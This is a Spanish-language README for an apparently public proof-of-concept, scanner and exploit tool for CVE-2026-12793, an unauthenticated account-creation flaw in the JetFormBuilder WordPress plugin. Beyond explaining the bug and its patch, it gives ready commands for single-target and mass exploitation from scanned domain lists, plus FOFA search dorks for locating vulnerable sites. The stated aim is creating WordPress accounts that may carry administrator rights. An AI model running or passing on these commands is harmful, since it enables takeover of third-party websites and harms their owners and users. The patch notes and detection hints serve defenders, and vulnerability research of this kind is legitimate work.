CVE-2026-12793 — Escalada de privilegios no autenticada en JetFormBuilder

Prueba de concepto, escáner y exploit para CVE-2026-12793 en el plugin de WordPress JetFormBuilder — Dynamic Blocks Form Builder (Crocoblock).

Vulnerabilidad

El plugin no verifica que _jet_engine_booking_form_id haga referencia a un custom post type jet-form-builder publicado antes de cargar el contenido de bloques del post referenciado como esquema de formulario y ejecutar las acciones posteriores al envío.

Un atacante no autenticado puede enviar una petición AJAX manipulada para activar la acción Register User (wp_insert_user) y crear una nueva cuenta de WordPress. Si el formulario objetivo está mal configurado con un rol elevado (por ejemplo, administrator), esto conduce a la toma de control total del sitio.

Flujo del ataque

1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created

Parche (3.6.2.1)

• Block_Helper::is_valid_form_post() — solo se acepta el CPT jet-form-builder publicado
• Form_Handler::set_form_id() rechaza IDs de formulario no válidos
• Endurecimiento de la validación SSR (wp_insert_user / wp_update_user bloqueados como callbacks)

Requisitos

• Python 3.8+
• requests

pip install requests urllib3

Uso

Objetivo único — comprobar

python poc.py -u https://target.example --mode check

Escaneo masivo

python poc.py --list domains.txt --mode check --threads 30 --quiet

Formatos de entrada: un dominio/URL por línea, CSV de FOFA (host,domain), o candidates.jsonl de una ejecución anterior.

Exploit (objetivo único)

python poc.py -u https://target.example --mode exploit \
  --form-id 1858 \
  --page-url /register/ \
  --fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
  --username myuser \
  --email [email protected] \
  --password 'SecurePass123!' \
  --verify

Exploit masivo desde candidatos

python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify

Opciones

Archivos de salida

Ejemplo de entrada de candidato

{
  "target": "https://target.example",
  "version": "3.3.3",
  "form_id": 1858,
  "page_url": "https://target.example/register/",
  "fields": {
    "login": "user_login",
    "email": "user_email",
    "password": "user_pass"
  }
}

Los nombres de campo autodetectados son heurísticos. Verifique siempre y sobrescriba con --fields antes del exploit.

Detección / dorks de FOFA

body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"

Comprobación de versión:

/wp-content/plugins/jetformbuilder/readme.txt

Busque Stable tag: ≤ 3.6.2.

Referencias

• NVD — CVE-2026-12793
• Wordfence Threat Intel
• Patchstack
• WordPress.org changeset
• GitHub fix commit

Descargo de responsabilidad

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no asumen ninguna responsabilidad por el uso indebido.

Licencia

MIT